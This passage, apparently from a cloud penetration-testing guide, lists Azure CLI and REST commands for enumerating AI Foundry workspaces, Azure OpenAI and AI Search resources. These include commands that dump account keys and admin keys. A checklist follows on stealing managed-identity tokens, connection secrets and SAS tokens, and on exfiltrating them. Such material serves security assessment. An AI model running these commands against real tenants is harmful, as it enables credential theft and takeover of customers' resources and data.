az ml online-deployment show --name <DEPLOYMENT> --endpoint-name <ENDPOINT> --workspace-name <WS> --resource-group <RG> \
--query "{identity:identity, environment:properties.environmentId, codeConfiguration:properties.codeConfiguration}"
# Discover prompt flows, components, environments, data assets
az ml component list --workspace-name <WS> --resource-group <RG>
az ml data list --workspace-name <WS> --resource-group <RG> --type uri_folder
az ml environment list --workspace-name <WS> --resource-group <RG>
az ml job list --workspace-name <WS> --resource-group <RG> --type pipeline
# List hub/project managed identities and their role assignments
az identity list --resource-group <RG>
az role assignment list --assignee <MI-PRINCIPAL-ID> --all
# Azure OpenAI resources (filter kind==OpenAI)
az resource list --resource-type Microsoft.CognitiveServices/accounts \
--query "[?kind=='OpenAI'].{name:name, rg:resourceGroup, location:location}" -o table
az cognitiveservices account list --resource-group <RG> \
--query "[?kind=='OpenAI'].{name:name, location:location}" -o table
az cognitiveservices account show --name <AOAI-NAME> --resource-group <RG>
az cognitiveservices account keys list --name <AOAI-NAME> --resource-group <RG>
az cognitiveservices account deployment list --name <AOAI-NAME> --resource-group <RG>
az cognitiveservices account network-rule list --name <AOAI-NAME> --resource-group <RG>
# Azure AI Search services
az search service list --resource-group <RG>
az search service show --name <SEARCH-NAME> --resource-group <RG> \
--query "{sku:sku.name, publicNetworkAccess:properties.publicNetworkAccess, privateEndpoints:properties.privateEndpointConnections}"
az search admin-key show --service-name <SEARCH-NAME> --resource-group <RG>
az search query-key list --service-name <SEARCH-NAME> --resource-group <RG>
az search shared-private-link-resource list --service-name <SEARCH-NAME> --resource-group <RG>
# AI Search data-plane (requires admin key in header)
az rest --method GET \
--url "https://<SEARCH-NAME>.search.windows.net/indexes?api-version=2024-07-01" \
--headers "api-key=<ADMIN-KEY>"
az rest --method GET \
--url "https://<SEARCH-NAME>.search.windows.net/datasources?api-version=2024-07-01" \
--headers "api-key=<ADMIN-KEY>"
az rest --method GET \
--url "https://<SEARCH-NAME>.search.windows.net/indexers?api-version=2024-07-01" \
--headers "api-key=<ADMIN-KEY>"
# Linkage between workspaces and search / openAI (REST helper)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.MachineLearningServices/workspaces/<WS>/connections?api-version=2024-04-01" \
--query "value[?properties.target=='AzureAiSearch' || properties.target=='AzureOpenAI']"
```
## What to Look For During Assessment
- **Identity scope**: Projects often reuse a powerful user-assigned identity attached to multiple services. Capturing IMDS tokens from any managed compute inherits those privileges.
- **Connection objects**: Base64 payload includes the secret plus metadata (endpoint URL, API version). Many teams leave OpenAI + Search admin keys here rather than rotating frequently.
- **Git & external source connectors**: PATs or OAuth refresh tokens may allow push access to code that defines pipelines/prompt flows.
- **Datastores & data assets**: Provide SAS tokens valid for months; data assets may point to customer PII, embeddings, or training corpora.
- **Managed Network overrides**: `allowInternetOutbound=true` or `publicNetworkAccess=Enabled` makes it trivial to exfiltrate secrets from jobs/endpoints.
- **Hub-managed resource group**: Contains the storage account (`<workspace>storage`), container registry, KV, and Log Analytics. Access to that RG often means full takeover even if portal hides it.
## References
- [Azure AI Foundry architecture](https://learn.microsoft.com/en-us/azure/ai-studio/concepts/ai-resources)
- [Azure Machine Learning CLI v2](https://learn.microsoft.com/en-us/azure/machine-learning/how-to-configure-cli)
- [Azure OpenAI security controls](https://learn.microsoft.com/en-us/azure/ai-services/openai/how-to/network-security)
- [Azure AI Search security](https://learn.microsoft.com/en-us/azure/search/search-security-overview)
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